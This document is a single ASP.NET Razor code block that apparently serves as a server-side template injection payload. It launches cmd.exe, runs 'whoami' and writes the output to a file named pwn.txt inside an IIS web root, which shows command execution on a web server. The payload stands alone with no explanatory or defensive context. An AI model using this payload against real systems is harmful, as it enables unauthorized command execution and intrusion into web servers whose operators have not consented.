@{ var p = new System.Diagnostics.Process(); p.StartInfo.FileName = "cmd.exe"; p.StartInfo.Arguments = "/c whoami > C:/inetpub/wwwroot/wwwroot/images/pwn.txt"; p.StartInfo.UseShellExecute = false; p.Start(); }